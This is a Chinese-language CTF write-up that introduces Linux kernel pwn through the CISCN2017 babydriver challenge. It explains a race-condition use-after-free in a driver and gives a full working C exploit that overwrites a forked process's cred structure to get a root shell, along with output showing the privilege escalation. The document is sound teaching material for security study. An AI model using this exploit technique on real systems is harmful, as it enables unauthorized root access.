通過一道簡單的例題了解Linux內核PWN

寫在前面

這篇文章目的在於簡單介紹內核PWN題,揭開內核的神秘面紗。背後的知識點包含Linux驅動和內核源碼,學習路線非常陡峭。也就是說,會一道Linux內核PWN需要非常多的鋪墊知識,如果要學習可以先從UNICORN、QEMU開始看起,然後看Linux驅動的內容,最後看Linux的內存管理、進程調度和文件的實現原理。至於內核API函數不用死記硬背,用到的時候再查都來得及。

題目概述

這題是參考ctf-wiki上的內核例題,題目名稱CISCN2017_babydriver,是一道簡單的內核入門題,所牽涉的知識點並不多。題目附件可以在ctf-wiki的GitHub倉庫找到://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/kernel/CISCN2017-babydriver

  • 首先將題目附件下載下來,解壓後得到所有的文件如下:

    .
    ├── boot.sh     # 啟動腳本,運行這個腳本來啟動QEMU
    ├── bzImage     # 壓縮過的內核鏡像
    └── rootfs.cpio # 作為初始RAM磁盤的文件
    
  • 查看啟動腳本boot.sh內容如下:

    #!/bin/bash
    
    qemu-system-x86_64 \
    -initrd rootfs.cpio \      # 指定使用rootfs.cpio作為初始RAM磁盤。可以使用cpio 命令提取這個cpio文件,提取出裏面的需要的文件,比如init腳本和babydriver.ko的驅動文件。提取操作的命令放在下面的操作步驟中
    -kernel bzImage \          # 使用當前目錄的bzImage作為內核鏡像
    -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \  # 使用後面的字符串作為內核命令行
    -enable-kvm \              # 啟用加速器
    -monitor /dev/null \       # 將監視器重定向到字符設備/dev/null
    -m 64M \                   # 參數設置RAM大小為64M
    --nographic  \             # 參數禁用圖形輸出並將串行I/O重定向到控制台
    -smp cores=1,threads=1 \   # 參數將CPU設置為1核心1線程
    -cpu kvm64,+smep           # 參數選擇CPU為kvm64,開啟了smep保護,無法在ring 0級別執行用戶代碼
    
  • 文件bzImage是壓縮編譯的內核鏡像文件。有些題目會提供vmlinux文件,它是未被壓縮的鏡像文件。這個題目沒有提供,但也不要緊,可以用腳本提取出vmlinux,而使用vmlinux的目的也就是找gadget,提取vmlinux的腳本也可以在Linux的GitHub上找到://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux。把代碼複製到文件中,保存為extract-vmlinux,然後賦予執行權限。提取vmlinux命令如下:

    ./extract-vmlinux ./bzImage > vmlinux
    

    可以使用ropper在提取的vmlinux中搜尋gadget,ropper比ROPgadget快很多:

    ropper --file ./vmlinux --nocolor > g1
    
  • rootfs.cpio是啟動內核的RAM磁盤文件,可以把它看作一個微型Linux文件系統。使用file命令查看可以看到它是gzip格式:

    unravel@unravel:~/pwn$ file rootfs.cpio
    rootfs.cpio: gzip compressed data, last modified: Tue Jul  4 08:39:15 2017, max compression, from Unix, original size modulo 2^32 2844672
    

    我們將rootfs.cpio改名為rootfs.cpio.gz,然後將它解壓出來:

    unravel@unravel:~/pwn$ ls
    boot.sh  bzImage  rootfs.cpio
    
    unravel@unravel:~/pwn$ mv rootfs.cpio rootfs.cpio.gz
    unravel@unravel:~/pwn$ ls
    boot.sh  bzImage  rootfs.cpio.gz
    
    unravel@unravel:~/pwn$ gunzip rootfs.cpio.gz
    unravel@unravel:~/pwn$ ls
    boot.sh  bzImage  rootfs.cpio
    
    unravel@unravel:~/pwn$ file rootfs.cpio
    rootfs.cpio: ASCII cpio archive (SVR4 with no CRC)
    

    因為rootfs.cpio裏面包含一些文件系統,它的文件比較多,我們可以創建一個文件夾,然後用cpio命令把所有文件提取到新建的文件夾下,保證一個乾淨的根目錄,後面也將內容重新打包:

    unravel@unravel:~/pwn$ mkdir core && cp rootfs.cpio core && cd core && cpio -idmv < rootfs.cpio
    
    unravel@unravel:~/pwn/core$ ls
    bin  etc  home  init  lib  linuxrc  proc  rootfs.cpio  sbin  sys  tmp  usr
    

啟動文件和驅動程序函數

  • 在我們上一步解壓完rootfs.cpio之後可以看到它就是Linux的文件系統。在根目錄下裏面有一個「init」文件,它決定啟動哪些程序,比如執行某些腳本和啟動shell。它的內容如下,除了insmod命令之外都是Linux的基本命令便不再贅述:

    #!/bin/sh
    
    mount -t proc none /proc
    mount -t sysfs none /sys
    mount -t devtmpfs devtmpfs /dev
    chown root:root flag
    chmod 400 flag
    exec 0</dev/console
    exec 1>/dev/console
    exec 2>/dev/console
    
    insmod /lib/modules/4.4.72/babydriver.ko  # insmod命令加載了一個名為babydriver.ko的驅動,根據一般的PWN題套路,這個就是有漏洞的LKM了
    chmod 777 /dev/babydev
    echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n" 
    setsid cttyhack setuidgid 1000 sh
    
    umount /proc
    umount /sys
    poweroff -d 0  -f
    
  • 在init文件中看到用insmod命令加載了babydriver.ko驅動,那麼我們把這個驅動拿出來,檢查一下開啟的保護:

    unravel@unravel:~/pwn/core/lib/modules/4.4.72$ checksec --file=babydriver.ko
    RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable  FILE
    No RELRO        No canary found   NX disabled   Not an ELF file   No RPATH   No RUNPATH   64 Symbols     No	0		0	babydriver.ko
    

    可以看到程序保留了符號信息,其他保護都沒有開啟

  • 把驅動程序放到IDA裏面查看程序邏輯,除了init初始化和exit外還有5個函數:

    • babyrelease:主要功能是釋放空間

      int __fastcall babyrelease(inode *inode, file *filp)
      {
        _fentry__(inode, filp);
        kfree(babydev_struct.device_buf);
        printk("device release\n");
        return 0;
      }
      
    • babyopen:調用kmem_cache_alloc_trace函數申請一塊大小為64位元組的空間,返回值存儲在device_buf中,並設置device_buf_len

      int __fastcall babyopen(inode *inode, file *filp)
      {
        _fentry__(inode, filp);
        babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 64LL);
        babydev_struct.device_buf_len = 64LL;
        printk("device open\n");
        return 0;
      }
      
    • babyioctl:定義0x10001的命令,這條命令可以釋放剛才申請的device_buf,然後重新申請一個用戶傳入的內存,並設置device_buf_len

      __int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
      {
        size_t v3; // rdx
        size_t v4; // rbx
      
        _fentry__(filp, command);
        v4 = v3;
        if ( command == 0x10001 )
        {
          kfree(babydev_struct.device_buf);
          babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL);
          babydev_struct.device_buf_len = v4;
          printk("alloc done\n");
          return 0LL;
        }
        else
        {
          printk(&unk_2EB);
          return -22LL;
        }
      }
      
    • babywritecopy_from_user是從用戶空間拷貝數據到內核空間,應當接受三個參數copy_from_user(char*, char*,int),IDA裏面是沒有識別成功,需要手動按Y鍵修復。babywrite函數先檢查長度是否小於device_buf_len,然後把 buffer 中的數據拷貝到 device_buf

      ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
      {
        size_t v4; // rdx
        ssize_t result; // rax
        ssize_t v6; // rbx
      
        _fentry__(filp, buffer);
        if ( !babydev_struct.device_buf )
          return -1LL;
        result = -2LL;
        if ( babydev_struct.device_buf_len > v4 )
        {
          v6 = v4;
          copy_from_user(babydev_struct.device_buf, (char *)buffer, v4);
          result = v6;
        }
        return result;
      }
      
    • babyread:和babywrite差不多,不過是把device_buf拷貝到buffer

      ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
      {
        size_t v4; // rdx
        ssize_t result; // rax
        ssize_t v6; // rbx
      
        _fentry__(filp, buffer);
        if ( !babydev_struct.device_buf )
          return -1LL;
        result = -2LL;
        if ( babydev_struct.device_buf_len > v4 )
        {
          v6 = v4;
          copy_to_user(buffer, babydev_struct.device_buf, v4);
          result = v6;
        }
        return result;
      }
      

漏洞點和利用思路

  • 值得注意的是驅動程序中的函數操作都使用同一個變量babydev_struct,而babydev_struct是全局變量,漏洞點在於多個設備同時操作這個變量會將變量覆蓋為最後改動的內容,沒有對全局變量上鎖,導致條件競爭

  • 我們使用ioctl同時打開兩個設備,第二次打開的內容會覆蓋掉第一次打開設備的babydev_struct ,如果釋放第一個,那麼第二個理論上也被釋放了,實際上並沒有,就造成了一個UAF

  • 釋放其中一個後,使用fork,那麼這個新進程的cred空間就會和之前釋放的空間重疊

  • 利用那個沒有釋放的描述符對這塊空間寫入,把cred結構體中的uidgid改為0,就可實現提權

  • 還有在修改時需要知道cred結構的大小,可以根據內核版本可以查看源碼,計算出cred結構大小是0xa8,不同版本的內核源碼這個結構體的大小都不一樣

exp代碼

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/wait.h>
#include <sys/stat.h>

int main()
{
    // 打開兩次設備
    int fd1 = open("/dev/babydev", 2);
    int fd2 = open("/dev/babydev", 2);

    // 修改 babydev_struct.device_buf_len 為 sizeof(struct cred)
    ioctl(fd1, 0x10001, 0xa8);

    // 釋放 fd1
    close(fd1);

    // 新起進程的 cred 空間會和剛剛釋放的 babydev_struct 重疊
    int pid = fork();
    if(pid < 0)
    {
        puts("[*] fork error!");
        exit(0);
    }

    else if(pid == 0)
    {
        // 通過更改 fd2,修改新進程的 cred 的 uid,gid 等值為0
        char zeros[30] = {0};
        write(fd2, zeros, 28);

        if(getuid() == 0)
        {
            puts("[+] root now.");
            system("/bin/sh");
            exit(0);
        }
    }

    else
    {
        wait(NULL);
    }
    close(fd2);

    return 0;
}

執行exp

需要將編寫的exp編譯成可執行文件,然後把它複製到rootfs.cpio提取出來的文件系統中,再將文件系統重新打包成cpio,這樣在內核重新運行的時候就有exp這個文件了。

  • 將exp編譯好,注意需要改為靜態編譯,因為我們的內核是沒有動態鏈接的:

    unravel@unravel:~/pwn$ gcc exp.c -static -o exp
    
  • 接下來我們複製exp到文件系統下,然後使用cpio命令重新打包:

    unravel@unravel:~/pwn$ cp exp core/tmp/
    unravel@unravel:~/pwn$ cd core/
    unravel@unravel:~/pwn/core$ ls
    bin  etc  home  init  lib  linuxrc  proc  rootfs.cpio  sbin  sys  tmp  usr
    
    unravel@unravel:~/pwn/core$ find . | cpio -o --format=newc > rootfs.cpio
    cpio: File ./rootfs.cpio grew, 3522560 new bytes not copied
    14160 blocks
    
    unravel@unravel:~/pwn/core$ cp rootfs.cpio ..
    
  • 下一步就可以重新運行內核了。執行boot.sh啟動內核後,在剛才拷貝的/tmp目錄下找到exp可執行程序:

    / $ ls -la /tmp/
    total 864
    drwxrwxr-x    2 ctf      ctf              0 Dec 16 09:35 .
    drwxrwxr-x   13 ctf      ctf              0 Dec 17 08:35 ..
    -rwxrwxr-x    1 ctf      ctf         883168 Dec 17 08:30 exp
    
  • 執行後可得到root權限,提權成功:

    / $ id
    uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
    
    / $ /tmp/exp
    [  115.517513] device open
    [  115.522342] device open
    [  115.527241] alloc done
    [  115.532132] device release
    [+] root now.
    
    / # id
    uid=0(root) gid=0(root) groups=1000(ctf)
    

調試

  • 可以在boot.sh文件中添加-s參數來使用gdb調試,它默認端口1234。也可以指定端口號進行調試,只需要使用-gdb tcp:port即可。在啟動的內核中使用lsmod查看加載的驅動基地址,得到0xffffffffc0000000,然後啟動gdb,使用target remote指定調試IP和端口號進行調試,然後添加babydriver的符號信息,過程如下:

    # 在QEMU運行的內核中運行如下命令
    / $ lsmod
    babydriver 16384 0 - Live 0xffffffffc0000000 (OE)
    
    # 啟動gdb,配置調試信息
    gdb -q
    
    gef➤  target remote localhost:1234
    Remote debugging using localhost:1234
    
    gef➤  add-symbol-file pwn/core/lib/modules/4.4.72/babydriver.ko 0xffffffffc0000000
    add symbol table from file "pwn/core/lib/modules/4.4.72/babydriver.ko"
    Reading symbols from pwn/core/lib/modules/4.4.72/babydriver.ko...
    
  • 這裡建議使用gef插件,pwndbg和peda調試內核總有一些玄學問題。如果gef報錯context相關問題(如下圖),在gdb中輸入命令python set_arch()就可以查看調試上下文了:

  • 我們之前在gdb中使用add-symbol-file命令加載了babydriver.ko的符號信息,並指定了加載基地址,在下斷點的時候可以直接使用符號來打斷點:

總結

通過一道題認識了內核PWN的解題步驟,以及如何對內核進行調試。對於不知道用法的內核函數和結構體,可以在manned.org網站或者源碼中查看。

參考資料

CTF-WIKI鏈接://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/uaf/#_2

Linux在線源碼://elixir.bootlin.com/linux/v4.4.72/source/mm/slab.c#L3431

MannedOrg://manned.org/kmalloc.3

QEMU手冊://www.qemu.org/docs/master/system/quickstart.html

UNICORN://www.unicorn-engine.org/docs/

Tags: